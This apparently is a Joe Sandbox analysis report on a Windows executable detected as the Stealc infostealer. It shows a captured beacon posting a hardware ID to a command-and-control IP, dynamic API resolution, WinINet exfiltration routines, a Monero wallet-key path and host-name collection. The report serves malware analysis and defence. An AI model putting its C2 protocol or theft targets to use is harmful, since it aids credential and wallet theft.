Sep 30, 2024 13:11:02.696522951 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCBAEHJJJKKFIDGHJEC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 34 41 39 36 46 44 31 45 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 2d 2d 0d 0a Data Ascii: ------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="hwid"974A96FD1E8E3984212470------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="build"doma------DHCBAEHJJJKKFIDGHJEC--
Sep 30, 2024 13:11:02.926529884 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:11:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	07:10:57
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc40000
File size:	1'867'776 bytes
MD5 hash:	BB08552092B4A0FE9610493EFDE4DDFC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1662202182.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00C59860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00894178), ref: 00C598A1
GetProcAddress.KERNEL32(74DD0000,008940E8), ref: 00C598BA
GetProcAddress.KERNEL32(74DD0000,00894130), ref: 00C598D2
GetProcAddress.KERNEL32(74DD0000,008941C0), ref: 00C598EA
GetProcAddress.KERNEL32(74DD0000,008941D8), ref: 00C59903
GetProcAddress.KERNEL32(74DD0000,0089ADE8), ref: 00C5991B
GetProcAddress.KERNEL32(74DD0000,008876D0), ref: 00C59933
GetProcAddress.KERNEL32(74DD0000,008876F0), ref: 00C5994C
GetProcAddress.KERNEL32(74DD0000,00893F98), ref: 00C59964
GetProcAddress.KERNEL32(74DD0000,00893FE0), ref: 00C5997C
GetProcAddress.KERNEL32(74DD0000,00894028), ref: 00C59995
GetProcAddress.KERNEL32(74DD0000,00893FB0), ref: 00C599AD
GetProcAddress.KERNEL32(74DD0000,00887650), ref: 00C599C5
GetProcAddress.KERNEL32(74DD0000,00894058), ref: 00C599DE
GetProcAddress.KERNEL32(74DD0000,00894088), ref: 00C599F6
GetProcAddress.KERNEL32(74DD0000,00887550), ref: 00C59A0E
GetProcAddress.KERNEL32(74DD0000,00894100), ref: 00C59A27
GetProcAddress.KERNEL32(74DD0000,00894118), ref: 00C59A3F
GetProcAddress.KERNEL32(74DD0000,008876B0), ref: 00C59A57
GetProcAddress.KERNEL32(74DD0000,00894160), ref: 00C59A70
GetProcAddress.KERNEL32(74DD0000,00887730), ref: 00C59A88
LoadLibraryA.KERNEL32(00894340,?,00C56A00), ref: 00C59A9A
LoadLibraryA.KERNEL32(00894358,?,00C56A00), ref: 00C59AAB
LoadLibraryA.KERNEL32(00894298,?,00C56A00), ref: 00C59ABD
LoadLibraryA.KERNEL32(008942C8,?,00C56A00), ref: 00C59ACF
LoadLibraryA.KERNEL32(008942E0,?,00C56A00), ref: 00C59AE0
GetProcAddress.KERNEL32(75A70000,00894328), ref: 00C59B02
GetProcAddress.KERNEL32(75290000,008942B0), ref: 00C59B23
GetProcAddress.KERNEL32(75290000,008942F8), ref: 00C59B3B
GetProcAddress.KERNEL32(75BD0000,00894310), ref: 00C59B5D
GetProcAddress.KERNEL32(75450000,008874D0), ref: 00C59B7E
GetProcAddress.KERNEL32(76E90000,0089ACE8), ref: 00C59B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00C59BB6

Strings

NtQueryInformationProcess, xrefs: 00C59BAA

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: ed781428544aa805ecfe5a3e5d80ce08d9e4eb0c6adeef132ad7a8ab9320a687
Instruction ID: 9459d7f4457c246f83f4e1fd5aa41ec282283444539945193c906e00c9b77dd9
Opcode Fuzzy Hash: ed781428544aa805ecfe5a3e5d80ce08d9e4eb0c6adeef132ad7a8ab9320a687
Instruction Fuzzy Hash: D6A14DB55006009FF358EFAAFD8895637F9F74C70170C453BA60DB3264D63AA44AEB22

Function 00C445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00C4460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00C4479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C4473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C445C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C4477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C446C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C446B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C4466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C446CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C446D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C4475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C4474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C445D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C4471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C445F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C445DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C446AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C4462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C44734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C445E8

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 1d1248ed6719da1d6ec1873133f570a6f82f771cce3017a12b4efc30628f7ae4
Instruction ID: a89aa886ca4c93e0ef0cfd555fb17bd5b8ef9f21b3191833d7c776eb9fff4404
Opcode Fuzzy Hash: 1d1248ed6719da1d6ec1873133f570a6f82f771cce3017a12b4efc30628f7ae4
Instruction Fuzzy Hash: 594105606C660CFAF63ABFE48DC2E9D77567F46B08F707864BA0052283DBB165029536

Function 00C44880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C44839
Part of subcall function 00C447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C44849

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00C44915
StrCmpCA.SHLWAPI(?,008A0610), ref: 00C4493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C44ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00C60DDB,00000000,?,?,00000000,?,",00000000,?,008A0700), ref: 00C44DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00C44E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00C44E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00C44E49
InternetCloseHandle.WININET(00000000), ref: 00C44EAD
InternetCloseHandle.WININET(00000000), ref: 00C44EC5
HttpOpenRequestA.WININET(00000000,008A0720,?,0089FCA0,00000000,00000000,00400100,00000000), ref: 00C44B15

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

InternetCloseHandle.WININET(00000000), ref: 00C44ECF

Strings

", xrefs: 00C44D33
------, xrefs: 00C44C69
", xrefs: 00C44BF2
------, xrefs: 00C449BD
------, xrefs: 00C44B28

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: ebb020829a7a238b6a3be5a1416f2dd302a9225ea899454b38805a3e7aea5444
Instruction ID: 1b93f76e8d785f57da1d7c2660f98387e6a8bd7475ed69750d080f1cb76701f7
Opcode Fuzzy Hash: ebb020829a7a238b6a3be5a1416f2dd302a9225ea899454b38805a3e7aea5444
Instruction Fuzzy Hash: BD120D75910218AADB14EB92DC92FEEB378BF14301F5442A9B50672091EF702F8DDF66

Function 00C578E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C57910
RtlAllocateHeap.NTDLL(00000000), ref: 00C57917
GetComputerNameA.KERNEL32(?,00000104), ref: 00C5792F

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 3a9a3691aa14792f2d08bcb85730b8ebf66131c2edc5ea15ad71b0f21e25f6a9
Instruction ID: 05b5f576540970129573c5c2b319bc1f50c4846f826d7c322523fa658e565595
Opcode Fuzzy Hash: 3a9a3691aa14792f2d08bcb85730b8ebf66131c2edc5ea15ad71b0f21e25f6a9
Instruction Fuzzy Hash: 540162B1904204EFD714DF95DD49FAAFBB8F704B11F10426AEA45A2280C37459488BA1

Function 00C57850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C411B7), ref: 00C57880
RtlAllocateHeap.NTDLL(00000000), ref: 00C57887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C5789F

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: fee6109b4ba100f49e83a620240ac4e44069acb080cfe6089a8345718a34c645
Instruction ID: b09492da5485d8ce4d4dd3ce5aaf2819d248688f09be1fa6908e79b6f7d01a20
Opcode Fuzzy Hash: fee6109b4ba100f49e83a620240ac4e44069acb080cfe6089a8345718a34c645
Instruction Fuzzy Hash: 6FF04FB1944208AFD714DF99DD49FAEBBB8EB04711F10026AFA05A2680C77515488BA1

Function 00C41160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00C4116A
ExitProcess.KERNEL32 ref: 00C4117E

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

